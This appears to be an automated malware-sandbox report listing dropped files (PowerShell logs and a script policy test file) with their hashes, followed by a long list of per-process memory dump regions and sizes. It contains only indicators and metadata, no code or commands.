b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
6c47b3f4e68eebd47e9332eebfd2dd4e

SHA1
67f0b143336d7db7b281ed3de5e877fa87261834

SHA256
8c48b1f2338e5b24094821f41121d2221f1cb3200338f46df49f64d1c4bc3e0c

SHA512
0acf302a9fc971ef9df65ed42c47ea17828e54dff685f4434f360556fd27cdc26a75069f00dcdc14ba174893c6fd7a2cfd8c6c07be3ce35dafee0a006914eaca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
7140ccf74fcbd9163b3c532a69f5ff6e

SHA1
57bc8d30e61acbda9dcde9d9434f559c9d38aac3

SHA256
c32be57fa8e9807007fa8bf35a630b893a4699e5251dbc179310b5a5640085b6

SHA512
292be07038e4f6c0151b6d2bdb6471abb96098dbd8eb97fff59608cb1b0a06c952727847227b0248113f7f93ed6aaca59f6727e222269ec20b6933eeaa7281df

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j2undlds.w00.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/1632-12-0x000001C197280000-0x000001C197290000-memory.dmp

Filesize
64KB

Download
memory/1632-16-0x00007FFAE4940000-0x00007FFAE5401000-memory.dmp

Filesize
10.8MB

Download
memory/1632-13-0x000001C197280000-0x000001C197290000-memory.dmp

Filesize
64KB

Download
memory/1632-11-0x00007FFAE4940000-0x00007FFAE5401000-memory.dmp

Filesize
10.8MB

Download
memory/1632-1-0x000001C1B18B0000-0x000001C1B18D2000-memory.dmp

Filesize
136KB

Download
memory/2008-101-0x00000214B5AB0000-0x00000214B5AC0000-memory.dmp

Filesize
64KB

Download
memory/2008-100-0x00000214B5AB0000-0x00000214B5AC0000-memory.dmp

Filesize
64KB

Download
memory/2008-99-0x00007FFAE49B0000-0x00007FFAE5471000-memory.dmp

Filesize
10.8MB

Download
memory/2008-111-0x00000214B5AB0000-0x00000214B5AC0000-memory.dmp

Filesize
64KB

Download
memory/2008-113-0x00007FFAE49B0000-0x00007FFAE5471000-memory.dmp

Filesize
10.8MB

Download
memory/2224-35-0x00007FF709880000-0x00007FF709A91000-memory.dmp

Filesize
2.1MB

Download
memory/2224-0-0x00007FF709880000-0x00007FF709A91000-memory.dmp

Filesize
2.1MB

Download
memory/2888-119-0x00007FF783A40000-0x00007FF783C51000-memory.dmp

Filesize
2.1MB

Download
memory/2888-52-0x00007FF783A40000-0x00007FF783C51000-memory.dmp

Filesize
2.1MB

Download
memory/2912-33-0x00007FFAE4940000-0x00007FFAE5401000-memory.dmp

Filesize
10.8MB

Download
memory/2912-31-0x0000024EE5290000-0x0000024EE52A0000-memory.dmp

Filesize
64KB

Download
memory/2912-30-0x0000024EE5290000-0x0000024EE52A0000-memory.dmp

Filesize
64KB

Download
memory/2912-28-0x00007FFAE4940000-0x00007FFAE5401000-memory.dmp

Filesize
10.8MB

Download
memory/2912-29-0x0000024EE5290000-0x0000024EE52A0000-memory.dmp

Filesize
64KB

Download
memory/3424-143-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-159-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-185-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-183-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-181-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-179-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-177-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-175-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-173-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-171-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-169-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-167-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-165-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-163-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-161-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-157-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-117-0x000001D3DFE20000-0x000001D3DFE40000-memory.dmp

Filesize
128KB

Download
memory/3424-155-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-153-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-151-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-118-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-123-0x000001D3DFE90000-0x000001D3DFEB0000-memory.dmp

Filesize
128KB

Download
memory/3424-149-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-125-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-127-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-128-0x000001D3DFEB0000-0x000001D3DFED0000-memory.dmp

Filesize
128KB

Download
memory/3424-129-0x000001D3E0440000-0x000001D3E0460000-memory.dmp

Filesize
128KB

Download
memory/3424-147-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-131-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-133-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-134-0x000001D3DFEB0000-0x000001D3DFED0000-memory.dmp

Filesize
128KB

Download
memory/3424-135-0x000001D3E0440000-0x000001D3E0460000-memory.dmp

Filesize
128KB

Download
memory/3424-137-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-139-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-141-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/3424-145-0x00007FF627240000-0x00007FF627A34000-memory.dmp

Filesize
8.0MB

Download
memory/4268-48-0x000001C7B7CE0000-0x000001C7B7CF0000-memory.dmp

Filesize
64KB

Download
memory/4268-47-0x000001C7B7CE0000-0x000001C7B7CF0000-memory.dmp

Filesize
64KB

Download
memory/4268-46-0x00007FFAE4940000-0x00007FFAE5401000-memory.dmp

Filesize
10.8MB

Download
memory/4268-51-0x00007FFAE4940000-0x00007FFAE5401000-memory.dmp

Filesize
10.8MB

Download
memory/4680-130-0x00007FF617020000-0x00007FF617036000-memory.dmp

Filesize
88KB

Download
memory/4680-124-0x00007FF617020000-0x00007FF617036000-memory.dmp

Filesize
88KB

Download
memory/4924-75-0x0000027470730000-0x0000027470740000-memory.dmp

Filesize
64KB

Download
memory/4924-77-0x0000027472FB0000-0x0000027472FBA000-memory.dmp

Filesize
40KB

Download
memory/4924-64-0x0000027470730000-0x0000027470740000-memory.dmp

Filesize
64KB

Download
memory/4924-63-0x0000027470730000-0x0000027470740000-memory.dmp

Filesize
64KB

Download
memory/4924-62-0x00007FFAE49B0000-0x00007FFAE5471000-memory.dmp

Filesize
10.8MB

Download
memory/4924-76-0x0000027473230000-0x00000274732E5000-memory.dmp

Filesize
724KB

Download
memory/4924-74-0x0000027473210000-0x000002747322C000-memory.dmp

Filesize
112KB

Download
memory/4924-78-0x0000027473450000-0x000002747346C000-memory.dmp

Filesize
112KB

Download
memory/4924-80-0x0000027473470000-0x000002747348A000-memory.dmp

Filesize
104KB

Download
memory/4924-87-0x00007FFAE49B0000-0x00007FFAE5471000-memory.dmp

Filesize
10.8MB

Download
memory/4924-84-0x0000027470730000-0x0000027470740000-memory.dmp

Filesize
64KB

Download
memory/4924-81-0x0000027473430000-0x0000027473438000-memory.dmp

Filesize
32KB

Download
memory/4924-83-0x0000027473490000-0x000002747349A000-memory.dmp

Filesize
40KB

Download
memory/4924-82-0x0000027473440000-0x0000027473446000-memory.dmp

Filesize
24KB

Download
memory/4924-79-0x0000027472FC0000-0x0000027472FCA000-memory.dmp

Filesize
40KB

Download